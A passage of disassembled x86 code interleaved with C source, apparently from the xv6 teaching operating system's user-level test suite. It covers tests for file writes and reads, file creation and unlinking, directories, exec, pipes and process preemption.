4ff: 6a 0a push $0xa
501: 68 67 3f 00 00 push $0x3f67
506: 56 push %esi
507: e8 d5 33 00 00 call 38e1 <write>
50c: 83 c4 10 add $0x10,%esp
50f: 83 f8 0a cmp $0xa,%eax
512: 0f 85 d6 00 00 00 jne 5ee <writetest+0x15e>
for(i = 0; i < 100; i++){
518: 83 c3 01 add $0x1,%ebx
51b: 83 fb 64 cmp $0x64,%ebx
51e: 75 c0 jne 4e0 <writetest+0x50>
printf(stdout, "writes ok\n");
520: 83 ec 08 sub $0x8,%esp
523: 68 72 3f 00 00 push $0x3f72
528: ff 35 70 5e 00 00 pushl 0x5e70
52e: e8 3d 35 00 00 call 3a70 <printf>
close(fd);
533: 89 34 24 mov %esi,(%esp)
536: e8 ae 33 00 00 call 38e9 <close>
fd = open("small", O_RDONLY);
53b: 5b pop %ebx
53c: 5e pop %esi
53d: 6a 00 push $0x0
53f: 68 1f 3f 00 00 push $0x3f1f
544: e8 b8 33 00 00 call 3901 <open>
if(fd >= 0){
549: 83 c4 10 add $0x10,%esp
fd = open("small", O_RDONLY);
54c: 89 c3 mov %eax,%ebx
if(fd >= 0){
54e: 85 c0 test %eax,%eax
550: 0f 88 b1 00 00 00 js 607 <writetest+0x177>
printf(stdout, "open small succeeded ok\n");
556: 83 ec 08 sub $0x8,%esp
559: 68 7d 3f 00 00 push $0x3f7d
55e: ff 35 70 5e 00 00 pushl 0x5e70
564: e8 07 35 00 00 call 3a70 <printf>
i = read(fd, buf, 2000);
569: 83 c4 0c add $0xc,%esp
56c: 68 d0 07 00 00 push $0x7d0
571: 68 60 86 00 00 push $0x8660
576: 53 push %ebx
577: e8 5d 33 00 00 call 38d9 <read>
if(i == 2000){
57c: 83 c4 10 add $0x10,%esp
57f: 3d d0 07 00 00 cmp $0x7d0,%eax
584: 0f 85 94 00 00 00 jne 61e <writetest+0x18e>
printf(stdout, "read succeeded ok\n");
58a: 83 ec 08 sub $0x8,%esp
58d: 68 b1 3f 00 00 push $0x3fb1
592: ff 35 70 5e 00 00 pushl 0x5e70
598: e8 d3 34 00 00 call 3a70 <printf>
close(fd);
59d: 89 1c 24 mov %ebx,(%esp)
5a0: e8 44 33 00 00 call 38e9 <close>
if(unlink("small") < 0){
5a5: c7 04 24 1f 3f 00 00 movl $0x3f1f,(%esp)
5ac: e8 60 33 00 00 call 3911 <unlink>
5b1: 83 c4 10 add $0x10,%esp
5b4: 85 c0 test %eax,%eax
5b6: 78 7d js 635 <writetest+0x1a5>
printf(stdout, "small file test ok\n");
5b8: 83 ec 08 sub $0x8,%esp
5bb: 68 d9 3f 00 00 push $0x3fd9
5c0: ff 35 70 5e 00 00 pushl 0x5e70
5c6: e8 a5 34 00 00 call 3a70 <printf>
}
5cb: 83 c4 10 add $0x10,%esp
5ce: 8d 65 f8 lea -0x8(%ebp),%esp
5d1: 5b pop %ebx
5d2: 5e pop %esi
5d3: 5d pop %ebp
5d4: c3 ret
printf(stdout, "error: write aa %d new file failed\n", i);
5d5: 83 ec 04 sub $0x4,%esp
5d8: 53 push %ebx
5d9: 68 20 4e 00 00 push $0x4e20
5de: ff 35 70 5e 00 00 pushl 0x5e70
5e4: e8 87 34 00 00 call 3a70 <printf>
exit();
5e9: e8 d3 32 00 00 call 38c1 <exit>
printf(stdout, "error: write bb %d new file failed\n", i);
5ee: 83 ec 04 sub $0x4,%esp
5f1: 53 push %ebx
5f2: 68 44 4e 00 00 push $0x4e44
5f7: ff 35 70 5e 00 00 pushl 0x5e70
5fd: e8 6e 34 00 00 call 3a70 <printf>
exit();
602: e8 ba 32 00 00 call 38c1 <exit>
printf(stdout, "error: open small failed!\n");
607: 51 push %ecx
608: 51 push %ecx
609: 68 96 3f 00 00 push $0x3f96
60e: ff 35 70 5e 00 00 pushl 0x5e70
614: e8 57 34 00 00 call 3a70 <printf>
exit();
619: e8 a3 32 00 00 call 38c1 <exit>
printf(stdout, "read failed\n");
61e: 52 push %edx
61f: 52 push %edx
620: 68 dd 42 00 00 push $0x42dd
625: ff 35 70 5e 00 00 pushl 0x5e70
62b: e8 40 34 00 00 call 3a70 <printf>
exit();
630: e8 8c 32 00 00 call 38c1 <exit>
printf(stdout, "unlink small failed\n");
635: 50 push %eax
636: 50 push %eax
637: 68 c4 3f 00 00 push $0x3fc4
63c: ff 35 70 5e 00 00 pushl 0x5e70
642: e8 29 34 00 00 call 3a70 <printf>
exit();
647: e8 75 32 00 00 call 38c1 <exit>
printf(stdout, "error: creat small failed!\n");
64c: 50 push %eax
64d: 50 push %eax
64e: 68 40 3f 00 00 push $0x3f40
653: ff 35 70 5e 00 00 pushl 0x5e70
659: e8 12 34 00 00 call 3a70 <printf>
exit();
65e: e8 5e 32 00 00 call 38c1 <exit>
663: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
669: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000670 <writetest1>:
{
670: 55 push %ebp
671: 89 e5 mov %esp,%ebp
673: 56 push %esi
674: 53 push %ebx
printf(stdout, "big files test\n");
675: 83 ec 08 sub $0x8,%esp
678: 68 ed 3f 00 00 push $0x3fed
67d: ff 35 70 5e 00 00 pushl 0x5e70
683: e8 e8 33 00 00 call 3a70 <printf>
fd = open("big", O_CREATE|O_RDWR);
688: 58 pop %eax
689: 5a pop %edx
68a: 68 02 02 00 00 push $0x202
68f: 68 67 40 00 00 push $0x4067
694: e8 68 32 00 00 call 3901 <open>
if(fd < 0){
699: 83 c4 10 add $0x10,%esp
69c: 85 c0 test %eax,%eax
69e: 0f 88 61 01 00 00 js 805 <writetest1+0x195>
6a4: 89 c6 mov %eax,%esi
for(i = 0; i < MAXFILE; i++){
6a6: 31 db xor %ebx,%ebx
6a8: 90 nop
6a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(write(fd, buf, 512) != 512){
6b0: 83 ec 04 sub $0x4,%esp
((int*)buf)[0] = i;
6b3: 89 1d 60 86 00 00 mov %ebx,0x8660
if(write(fd, buf, 512) != 512){
6b9: 68 00 02 00 00 push $0x200
6be: 68 60 86 00 00 push $0x8660
6c3: 56 push %esi
6c4: e8 18 32 00 00 call 38e1 <write>
6c9: 83 c4 10 add $0x10,%esp
6cc: 3d 00 02 00 00 cmp $0x200,%eax
6d1: 0f 85 b3 00 00 00 jne 78a <writetest1+0x11a>
for(i = 0; i < MAXFILE; i++){
6d7: 83 c3 01 add $0x1,%ebx
6da: 81 fb 8c 00 00 00 cmp $0x8c,%ebx
6e0: 75 ce jne 6b0 <writetest1+0x40>
close(fd);
6e2: 83 ec 0c sub $0xc,%esp
6e5: 56 push %esi
6e6: e8 fe 31 00 00 call 38e9 <close>
fd = open("big", O_RDONLY);
6eb: 5b pop %ebx
6ec: 5e pop %esi
6ed: 6a 00 push $0x0
6ef: 68 67 40 00 00 push $0x4067
6f4: e8 08 32 00 00 call 3901 <open>
if(fd < 0){
6f9: 83 c4 10 add $0x10,%esp
fd = open("big", O_RDONLY);
6fc: 89 c6 mov %eax,%esi
if(fd < 0){
6fe: 85 c0 test %eax,%eax
700: 0f 88 e8 00 00 00 js 7ee <writetest1+0x17e>
n = 0;
706: 31 db xor %ebx,%ebx
708: eb 1d jmp 727 <writetest1+0xb7>
70a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
} else if(i != 512){
710: 3d 00 02 00 00 cmp $0x200,%eax
715: 0f 85 9f 00 00 00 jne 7ba <writetest1+0x14a>
if(((int*)buf)[0] != n){
71b: a1 60 86 00 00 mov 0x8660,%eax
720: 39 d8 cmp %ebx,%eax
722: 75 7f jne 7a3 <writetest1+0x133>
n++;
724: 83 c3 01 add $0x1,%ebx
i = read(fd, buf, 512);
727: 83 ec 04 sub $0x4,%esp
72a: 68 00 02 00 00 push $0x200
72f: 68 60 86 00 00 push $0x8660
734: 56 push %esi
735: e8 9f 31 00 00 call 38d9 <read>
if(i == 0){
73a: 83 c4 10 add $0x10,%esp
73d: 85 c0 test %eax,%eax
73f: 75 cf jne 710 <writetest1+0xa0>
if(n == MAXFILE - 1){
741: 81 fb 8b 00 00 00 cmp $0x8b,%ebx
747: 0f 84 86 00 00 00 je 7d3 <writetest1+0x163>
close(fd);
74d: 83 ec 0c sub $0xc,%esp
750: 56 push %esi
751: e8 93 31 00 00 call 38e9 <close>
if(unlink("big") < 0){
756: c7 04 24 67 40 00 00 movl $0x4067,(%esp)
75d: e8 af 31 00 00 call 3911 <unlink>
762: 83 c4 10 add $0x10,%esp
765: 85 c0 test %eax,%eax
767: 0f 88 af 00 00 00 js 81c <writetest1+0x1ac>
printf(stdout, "big files ok\n");
76d: 83 ec 08 sub $0x8,%esp
770: 68 8e 40 00 00 push $0x408e
775: ff 35 70 5e 00 00 pushl 0x5e70
77b: e8 f0 32 00 00 call 3a70 <printf>
}
780: 83 c4 10 add $0x10,%esp
783: 8d 65 f8 lea -0x8(%ebp),%esp
786: 5b pop %ebx
787: 5e pop %esi
788: 5d pop %ebp
789: c3 ret
printf(stdout, "error: write big file failed\n", i);
78a: 83 ec 04 sub $0x4,%esp
78d: 53 push %ebx
78e: 68 17 40 00 00 push $0x4017
793: ff 35 70 5e 00 00 pushl 0x5e70
799: e8 d2 32 00 00 call 3a70 <printf>
exit();
79e: e8 1e 31 00 00 call 38c1 <exit>
printf(stdout, "read content of block %d is %d\n",
7a3: 50 push %eax
7a4: 53 push %ebx
7a5: 68 68 4e 00 00 push $0x4e68
7aa: ff 35 70 5e 00 00 pushl 0x5e70
7b0: e8 bb 32 00 00 call 3a70 <printf>
exit();
7b5: e8 07 31 00 00 call 38c1 <exit>
printf(stdout, "read failed %d\n", i);
7ba: 83 ec 04 sub $0x4,%esp
7bd: 50 push %eax
7be: 68 6b 40 00 00 push $0x406b
7c3: ff 35 70 5e 00 00 pushl 0x5e70
7c9: e8 a2 32 00 00 call 3a70 <printf>
exit();
7ce: e8 ee 30 00 00 call 38c1 <exit>
printf(stdout, "read only %d blocks from big", n);
7d3: 52 push %edx
7d4: 68 8b 00 00 00 push $0x8b
7d9: 68 4e 40 00 00 push $0x404e
7de: ff 35 70 5e 00 00 pushl 0x5e70
7e4: e8 87 32 00 00 call 3a70 <printf>
exit();
7e9: e8 d3 30 00 00 call 38c1 <exit>
printf(stdout, "error: open big failed!\n");
7ee: 51 push %ecx
7ef: 51 push %ecx
7f0: 68 35 40 00 00 push $0x4035
7f5: ff 35 70 5e 00 00 pushl 0x5e70
7fb: e8 70 32 00 00 call 3a70 <printf>
exit();
800: e8 bc 30 00 00 call 38c1 <exit>
printf(stdout, "error: creat big failed!\n");
805: 50 push %eax
806: 50 push %eax
807: 68 fd 3f 00 00 push $0x3ffd
80c: ff 35 70 5e 00 00 pushl 0x5e70
812: e8 59 32 00 00 call 3a70 <printf>
exit();
817: e8 a5 30 00 00 call 38c1 <exit>
printf(stdout, "unlink big failed\n");
81c: 50 push %eax
81d: 50 push %eax
81e: 68 7b 40 00 00 push $0x407b
823: ff 35 70 5e 00 00 pushl 0x5e70
829: e8 42 32 00 00 call 3a70 <printf>
exit();
82e: e8 8e 30 00 00 call 38c1 <exit>
833: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
839: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000840 <createtest>:
{
840: 55 push %ebp
841: 89 e5 mov %esp,%ebp
843: 53 push %ebx
name[2] = '\0';
844: bb 30 00 00 00 mov $0x30,%ebx
{
849: 83 ec 0c sub $0xc,%esp
printf(stdout, "many creates, followed by unlink test\n");
84c: 68 88 4e 00 00 push $0x4e88
851: ff 35 70 5e 00 00 pushl 0x5e70
857: e8 14 32 00 00 call 3a70 <printf>
name[0] = 'a';
85c: c6 05 60 a6 00 00 61 movb $0x61,0xa660
name[2] = '\0';
863: 83 c4 10 add $0x10,%esp
866: c6 05 62 a6 00 00 00 movb $0x0,0xa662
86d: 8d 76 00 lea 0x0(%esi),%esi
fd = open(name, O_CREATE|O_RDWR);
870: 83 ec 08 sub $0x8,%esp
name[1] = '0' + i;
873: 88 1d 61 a6 00 00 mov %bl,0xa661
fd = open(name, O_CREATE|O_RDWR);
879: 83 c3 01 add $0x1,%ebx
87c: 68 02 02 00 00 push $0x202
881: 68 60 a6 00 00 push $0xa660
886: e8 76 30 00 00 call 3901 <open>
close(fd);
88b: 89 04 24 mov %eax,(%esp)
88e: e8 56 30 00 00 call 38e9 <close>
for(i = 0; i < 52; i++){
893: 83 c4 10 add $0x10,%esp
896: 80 fb 64 cmp $0x64,%bl
899: 75 d5 jne 870 <createtest+0x30>
name[0] = 'a';
89b: c6 05 60 a6 00 00 61 movb $0x61,0xa660
name[2] = '\0';
8a2: bb 30 00 00 00 mov $0x30,%ebx
8a7: c6 05 62 a6 00 00 00 movb $0x0,0xa662
8ae: 66 90 xchg %ax,%ax
unlink(name);
8b0: 83 ec 0c sub $0xc,%esp
name[1] = '0' + i;
8b3: 88 1d 61 a6 00 00 mov %bl,0xa661
unlink(name);
8b9: 83 c3 01 add $0x1,%ebx
8bc: 68 60 a6 00 00 push $0xa660
8c1: e8 4b 30 00 00 call 3911 <unlink>
for(i = 0; i < 52; i++){
8c6: 83 c4 10 add $0x10,%esp
8c9: 80 fb 64 cmp $0x64,%bl
8cc: 75 e2 jne 8b0 <createtest+0x70>
printf(stdout, "many creates, followed by unlink; ok\n");
8ce: 83 ec 08 sub $0x8,%esp
8d1: 68 b0 4e 00 00 push $0x4eb0
8d6: ff 35 70 5e 00 00 pushl 0x5e70
8dc: e8 8f 31 00 00 call 3a70 <printf>
}
8e1: 83 c4 10 add $0x10,%esp
8e4: 8b 5d fc mov -0x4(%ebp),%ebx
8e7: c9 leave
8e8: c3 ret
8e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000008f0 <dirtest>:
{
8f0: 55 push %ebp
8f1: 89 e5 mov %esp,%ebp
8f3: 83 ec 10 sub $0x10,%esp
printf(stdout, "mkdir test\n");
8f6: 68 9c 40 00 00 push $0x409c
8fb: ff 35 70 5e 00 00 pushl 0x5e70
901: e8 6a 31 00 00 call 3a70 <printf>
if(mkdir("dir0") < 0){
906: c7 04 24 a8 40 00 00 movl $0x40a8,(%esp)
90d: e8 17 30 00 00 call 3929 <mkdir>
912: 83 c4 10 add $0x10,%esp
915: 85 c0 test %eax,%eax
917: 78 58 js 971 <dirtest+0x81>
if(chdir("dir0") < 0){
919: 83 ec 0c sub $0xc,%esp
91c: 68 a8 40 00 00 push $0x40a8
921: e8 0b 30 00 00 call 3931 <chdir>
926: 83 c4 10 add $0x10,%esp
929: 85 c0 test %eax,%eax
92b: 0f 88 85 00 00 00 js 9b6 <dirtest+0xc6>
if(chdir("..") < 0){
931: 83 ec 0c sub $0xc,%esp
934: 68 4d 46 00 00 push $0x464d
939: e8 f3 2f 00 00 call 3931 <chdir>
93e: 83 c4 10 add $0x10,%esp
941: 85 c0 test %eax,%eax
943: 78 5a js 99f <dirtest+0xaf>
if(unlink("dir0") < 0){
945: 83 ec 0c sub $0xc,%esp
948: 68 a8 40 00 00 push $0x40a8
94d: e8 bf 2f 00 00 call 3911 <unlink>
952: 83 c4 10 add $0x10,%esp
955: 85 c0 test %eax,%eax
957: 78 2f js 988 <dirtest+0x98>
printf(stdout, "mkdir test ok\n");
959: 83 ec 08 sub $0x8,%esp
95c: 68 e5 40 00 00 push $0x40e5
961: ff 35 70 5e 00 00 pushl 0x5e70
967: e8 04 31 00 00 call 3a70 <printf>
}
96c: 83 c4 10 add $0x10,%esp
96f: c9 leave
970: c3 ret
printf(stdout, "mkdir failed\n");
971: 50 push %eax
972: 50 push %eax
973: 68 d8 3d 00 00 push $0x3dd8
978: ff 35 70 5e 00 00 pushl 0x5e70
97e: e8 ed 30 00 00 call 3a70 <printf>
exit();
983: e8 39 2f 00 00 call 38c1 <exit>
printf(stdout, "unlink dir0 failed\n");
988: 50 push %eax
989: 50 push %eax
98a: 68 d1 40 00 00 push $0x40d1
98f: ff 35 70 5e 00 00 pushl 0x5e70
995: e8 d6 30 00 00 call 3a70 <printf>
exit();
99a: e8 22 2f 00 00 call 38c1 <exit>
printf(stdout, "chdir .. failed\n");
99f: 52 push %edx
9a0: 52 push %edx
9a1: 68 c0 40 00 00 push $0x40c0
9a6: ff 35 70 5e 00 00 pushl 0x5e70
9ac: e8 bf 30 00 00 call 3a70 <printf>
exit();
9b1: e8 0b 2f 00 00 call 38c1 <exit>
printf(stdout, "chdir dir0 failed\n");
9b6: 51 push %ecx
9b7: 51 push %ecx
9b8: 68 ad 40 00 00 push $0x40ad
9bd: ff 35 70 5e 00 00 pushl 0x5e70
9c3: e8 a8 30 00 00 call 3a70 <printf>
exit();
9c8: e8 f4 2e 00 00 call 38c1 <exit>
9cd: 8d 76 00 lea 0x0(%esi),%esi
000009d0 <exectest>:
{
9d0: 55 push %ebp
9d1: 89 e5 mov %esp,%ebp
9d3: 83 ec 10 sub $0x10,%esp
printf(stdout, "exec test\n");
9d6: 68 f4 40 00 00 push $0x40f4
9db: ff 35 70 5e 00 00 pushl 0x5e70
9e1: e8 8a 30 00 00 call 3a70 <printf>
if(exec("echo", echoargv) < 0){
9e6: 5a pop %edx
9e7: 59 pop %ecx
9e8: 68 74 5e 00 00 push $0x5e74
9ed: 68 bd 3e 00 00 push $0x3ebd
9f2: e8 02 2f 00 00 call 38f9 <exec>
9f7: 83 c4 10 add $0x10,%esp
9fa: 85 c0 test %eax,%eax
9fc: 78 02 js a00 <exectest+0x30>
}
9fe: c9 leave
9ff: c3 ret
printf(stdout, "exec echo failed\n");
a00: 50 push %eax
a01: 50 push %eax
a02: 68 ff 40 00 00 push $0x40ff
a07: ff 35 70 5e 00 00 pushl 0x5e70
a0d: e8 5e 30 00 00 call 3a70 <printf>
exit();
a12: e8 aa 2e 00 00 call 38c1 <exit>
a17: 89 f6 mov %esi,%esi
a19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000a20 <pipe1>:
{
a20: 55 push %ebp
a21: 89 e5 mov %esp,%ebp
a23: 57 push %edi
a24: 56 push %esi
if(pipe(fds) != 0){
a25: 8d 45 e0 lea -0x20(%ebp),%eax
{
a28: 53 push %ebx
a29: 83 ec 38 sub $0x38,%esp
if(pipe(fds) != 0){
a2c: 50 push %eax
a2d: e8 9f 2e 00 00 call 38d1 <pipe>
a32: 83 c4 10 add $0x10,%esp
a35: 85 c0 test %eax,%eax
a37: 0f 85 34 01 00 00 jne b71 <pipe1+0x151>
pid = fork();
a3d: e8 77 2e 00 00 call 38b9 <fork>
if(pid == 0){
a42: 85 c0 test %eax,%eax
a44: 0f 84 89 00 00 00 je ad3 <pipe1+0xb3>
} else if(pid > 0){
a4a: 0f 8e 34 01 00 00 jle b84 <pipe1+0x164>
close(fds[1]);
a50: 83 ec 0c sub $0xc,%esp
a53: ff 75 e4 pushl -0x1c(%ebp)
seq = 0;
a56: 31 db xor %ebx,%ebx
cc = 1;
a58: bf 01 00 00 00 mov $0x1,%edi
close(fds[1]);
a5d: e8 87 2e 00 00 call 38e9 <close>
total = 0;
a62: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
while((n = read(fds[0], buf, cc)) > 0){
a69: 83 c4 10 add $0x10,%esp
a6c: 83 ec 04 sub $0x4,%esp
a6f: 57 push %edi
a70: 68 60 86 00 00 push $0x8660
a75: ff 75 e0 pushl -0x20(%ebp)
a78: e8 5c 2e 00 00 call 38d9 <read>
a7d: 83 c4 10 add $0x10,%esp
a80: 85 c0 test %eax,%eax
a82: 0f 8e a5 00 00 00 jle b2d <pipe1+0x10d>
a88: 8d 34 03 lea (%ebx,%eax,1),%esi
for(i = 0; i < n; i++){
a8b: 31 d2 xor %edx,%edx
a8d: 8d 76 00 lea 0x0(%esi),%esi
if((buf[i] & 0xff) != (seq++ & 0xff)){
a90: 8d 4b 01 lea 0x1(%ebx),%ecx
a93: 38 9a 60 86 00 00 cmp %bl,0x8660(%edx)
a99: 75 1e jne ab9 <pipe1+0x99>
for(i = 0; i < n; i++){
a9b: 83 c2 01 add $0x1,%edx
a9e: 89 cb mov %ecx,%ebx
aa0: 39 f1 cmp %esi,%ecx
aa2: 75 ec jne a90 <pipe1+0x70>
cc = cc * 2;
aa4: 01 ff add %edi,%edi
total += n;
aa6: 01 45 d4 add %eax,-0x2c(%ebp)
aa9: b8 00 20 00 00 mov $0x2000,%eax
aae: 81 ff 00 20 00 00 cmp $0x2000,%edi
ab4: 0f 4f f8 cmovg %eax,%edi
ab7: eb b3 jmp a6c <pipe1+0x4c>
printf(1, "pipe1 oops 2\n");
ab9: 83 ec 08 sub $0x8,%esp
abc: 68 2e 41 00 00 push $0x412e
ac1: 6a 01 push $0x1
ac3: e8 a8 2f 00 00 call 3a70 <printf>
return;
ac8: 83 c4 10 add $0x10,%esp
}
acb: 8d 65 f4 lea -0xc(%ebp),%esp
ace: 5b pop %ebx
acf: 5e pop %esi
ad0: 5f pop %edi
ad1: 5d pop %ebp
ad2: c3 ret
close(fds[0]);
ad3: 83 ec 0c sub $0xc,%esp
ad6: ff 75 e0 pushl -0x20(%ebp)
seq = 0;
ad9: 31 db xor %ebx,%ebx
close(fds[0]);
adb: e8 09 2e 00 00 call 38e9 <close>
ae0: 83 c4 10 add $0x10,%esp
for(i = 0; i < 1033; i++)
ae3: 31 c0 xor %eax,%eax
ae5: 8d 76 00 lea 0x0(%esi),%esi
buf[i] = seq++;
ae8: 8d 14 18 lea (%eax,%ebx,1),%edx
for(i = 0; i < 1033; i++)
aeb: 83 c0 01 add $0x1,%eax
buf[i] = seq++;
aee: 88 90 5f 86 00 00 mov %dl,0x865f(%eax)
for(i = 0; i < 1033; i++)
af4: 3d 09 04 00 00 cmp $0x409,%eax
af9: 75 ed jne ae8 <pipe1+0xc8>
if(write(fds[1], buf, 1033) != 1033){
afb: 83 ec 04 sub $0x4,%esp
afe: 81 c3 09 04 00 00 add $0x409,%ebx
b04: 68 09 04 00 00 push $0x409
b09: 68 60 86 00 00 push $0x8660
b0e: ff 75 e4 pushl -0x1c(%ebp)
b11: e8 cb 2d 00 00 call 38e1 <write>
b16: 83 c4 10 add $0x10,%esp
b19: 3d 09 04 00 00 cmp $0x409,%eax
b1e: 75 77 jne b97 <pipe1+0x177>
for(n = 0; n < 5; n++){
b20: 81 fb 2d 14 00 00 cmp $0x142d,%ebx
b26: 75 bb jne ae3 <pipe1+0xc3>
exit();
b28: e8 94 2d 00 00 call 38c1 <exit>
if(total != 5 * 1033){
b2d: 81 7d d4 2d 14 00 00 cmpl $0x142d,-0x2c(%ebp)
b34: 75 26 jne b5c <pipe1+0x13c>
close(fds[0]);
b36: 83 ec 0c sub $0xc,%esp
b39: ff 75 e0 pushl -0x20(%ebp)
b3c: e8 a8 2d 00 00 call 38e9 <close>
wait();
b41: e8 83 2d 00 00 call 38c9 <wait>
printf(1, "pipe1 ok\n");
b46: 5a pop %edx
b47: 59 pop %ecx
b48: 68 53 41 00 00 push $0x4153
b4d: 6a 01 push $0x1
b4f: e8 1c 2f 00 00 call 3a70 <printf>
b54: 83 c4 10 add $0x10,%esp
b57: e9 6f ff ff ff jmp acb <pipe1+0xab>
printf(1, "pipe1 oops 3 total %d\n", total);
b5c: 53 push %ebx
b5d: ff 75 d4 pushl -0x2c(%ebp)
b60: 68 3c 41 00 00 push $0x413c
b65: 6a 01 push $0x1
b67: e8 04 2f 00 00 call 3a70 <printf>
exit();
b6c: e8 50 2d 00 00 call 38c1 <exit>
printf(1, "pipe() failed\n");
b71: 57 push %edi
b72: 57 push %edi
b73: 68 11 41 00 00 push $0x4111
b78: 6a 01 push $0x1
b7a: e8 f1 2e 00 00 call 3a70 <printf>
exit();
b7f: e8 3d 2d 00 00 call 38c1 <exit>
printf(1, "fork() failed\n");
b84: 50 push %eax
b85: 50 push %eax
b86: 68 5d 41 00 00 push $0x415d
b8b: 6a 01 push $0x1
b8d: e8 de 2e 00 00 call 3a70 <printf>
exit();
b92: e8 2a 2d 00 00 call 38c1 <exit>
printf(1, "pipe1 oops 1\n");
b97: 56 push %esi
b98: 56 push %esi
b99: 68 20 41 00 00 push $0x4120
b9e: 6a 01 push $0x1
ba0: e8 cb 2e 00 00 call 3a70 <printf>
exit();
ba5: e8 17 2d 00 00 call 38c1 <exit>
baa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000bb0 <preempt>:
{
bb0: 55 push %ebp
bb1: 89 e5 mov %esp,%ebp
bb3: 57 push %edi
bb4: 56 push %esi
bb5: 53 push %ebx
bb6: 83 ec 24 sub $0x24,%esp
printf(1, "preempt: ");
bb9: 68 6c 41 00 00 push $0x416c
bbe: 6a 01 push $0x1
bc0: e8 ab 2e 00 00 call 3a70 <printf>
pid1 = fork();
bc5: e8 ef 2c 00 00 call 38b9 <fork>
if(pid1 == 0)
bca: 83 c4 10 add $0x10,%esp
bcd: 85 c0 test %eax,%eax
bcf: 75 07 jne bd8 <preempt+0x28>
;
bd1: eb fe jmp bd1 <preempt+0x21>
bd3: 90 nop
bd4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bd8: 89 c7 mov %eax,%edi
pid2 = fork();
bda: e8 da 2c 00 00 call 38b9 <fork>
bdf: 89 c6 mov %eax,%esi
if(pid2 == 0)
be1: 85 c0 test %eax,%eax
be3: 75 0b jne bf0 <preempt+0x40>
;
be5: eb fe jmp be5 <preempt+0x35>
be7: 89 f6 mov %esi,%esi
be9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
pipe(pfds);
bf0: 83 ec 0c sub $0xc,%esp
bf3: 8d 45 e0 lea -0x20(%ebp),%eax
bf6: 50 push %eax
bf7: e8 d5 2c 00 00 call 38d1 <pipe>
pid3 = fork();
bfc: e8 b8 2c 00 00 call 38b9 <fork>
if(pid3 == 0){
c01: 83 c4 10 add $0x10,%esp
pid3 = fork();
c04: 89 c3 mov %eax,%ebx
if(pid3 == 0){
c06: 85 c0 test %eax,%eax
c08: 75 3e jne c48 <preempt+0x98>
close(pfds[0]);
c0a: 83 ec 0c sub $0xc,%esp
c0d: ff 75 e0 pushl -0x20(%ebp)
c10: e8 d4 2c 00 00 call 38e9 <close>
if(write(pfds[1], "x", 1) != 1)
c15: 83 c4 0c add $0xc,%esp
c18: 6a 01 push $0x1
c1a: 68 31 47 00 00 push $0x4731
c1f: ff 75 e4 pushl -0x1c(%ebp)
c22: e8 ba 2c 00 00 call 38e1 <write>
c27: 83 c4 10 add $0x10,%esp
c2a: 83 f8 01 cmp $0x1,%eax
c2d: 0f 85 a4 00 00 00 jne cd7 <preempt+0x127>
close(pfds[1]);
c33: 83 ec 0c sub $0xc,%esp
c36: ff 75 e4 pushl -0x1c(%ebp)
c39: e8 ab 2c 00 00 call 38e9 <close>
c3e: 83 c4 10 add $0x10,%esp
;
c41: eb fe jmp c41 <preempt+0x91>
c43: 90 nop
c44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
close(pfds[1]);
c48: 83 ec 0c sub $0xc,%esp
c4b: ff 75 e4 pushl -0x1c(%ebp)
c4e: e8 96 2c 00 00 call 38e9 <close>
if(read(pfds[0], buf, sizeof(buf)) != 1){
c53: 83 c4 0c add $0xc,%esp
c56: 68 00 20 00 00 push $0x2000
c5b: 68 60 86 00 00 push $0x8660
c60: ff 75 e0 pushl -0x20(%ebp)
c63: e8 71 2c 00 00 call 38d9 <read>
c68: 83 c4 10 add $0x10,%esp
c6b: 83 f8 01 cmp $0x1,%eax
c6e: 75 7e jne cee <preempt+0x13e>
close(pfds[0]);
c70: 83 ec 0c sub $0xc,%esp
c73: ff 75 e0 pushl -0x20(%ebp)
c76: e8 6e 2c 00 00 call 38e9 <close>
printf(1, "kill... ");
c7b: 58 pop %eax
c7c: 5a pop %edx
c7d: 68 9d 41 00 00 push $0x419d
c82: 6a 01 push $0x1
c84: e8 e7 2d 00 00 call 3a70 <printf>
kill(pid1);
c89: 89 3c 24 mov %edi,(%esp)
c8c: e8 60 2c 00 00 call 38f1 <kill>
kill(pid2);
c91: 89 34 24 mov %esi,(%esp)
c94: e8 58 2c 00 00 call 38f1 <kill>
kill(pid3);
c99: 89 1c 24 mov %ebx,(%esp)
c9c: e8 50 2c 00 00 call 38f1 <kill>
printf(1, "wait... ");
ca1: 59 pop %ecx
ca2: 5b pop %ebx
ca3: 68 a6 41 00 00 push $0x41a6
ca8: 6a 01 push $0x1
caa: e8 c1 2d 00 00 call 3a70 <printf>
wait();
caf: e8 15 2c 00 00 call 38c9 <wait>
wait();
cb4: e8 10 2c 00 00 call 38c9 <wait>
wait();
cb9: e8 0b 2c 00 00 call 38c9 <wait>
printf(1, "preempt ok\n");
cbe: 5e pop %esi
cbf: 5f pop %edi
cc0: 68 af 41 00 00 push $0x41af
cc5: 6a 01 push $0x1
cc7: e8 a4 2d 00 00 call 3a70 <printf>
ccc: 83 c4 10 add $0x10,%esp
}
ccf: 8d 65 f4 lea -0xc(%ebp),%esp
cd2: 5b pop %ebx
cd3: 5e pop %esi
cd4: 5f pop %edi
cd5: 5d pop %ebp
cd6: c3 ret
printf(1, "preempt write error");
cd7: 83 ec 08 sub $0x8,%esp
cda: 68 76 41 00 00 push $0x4176
cdf: 6a 01 push $0x1
ce1: e8 8a 2d 00 00 call 3a70 <printf>
ce6: 83 c4 10 add $0x10,%esp
ce9: e9 45 ff ff ff jmp c33 <preempt+0x83>
printf(1, "preempt read error");
cee: 83 ec 08 sub $0x8,%esp
cf1: 68 8a 41 00 00 push $0x418a
cf6: 6a 01 push $0x1
cf8: e8 73 2d 00 00 call 3a70 <printf>
return;
cfd: 83 c4 10 add $0x10,%esp
d00: eb cd jmp ccf <preempt+0x11f>
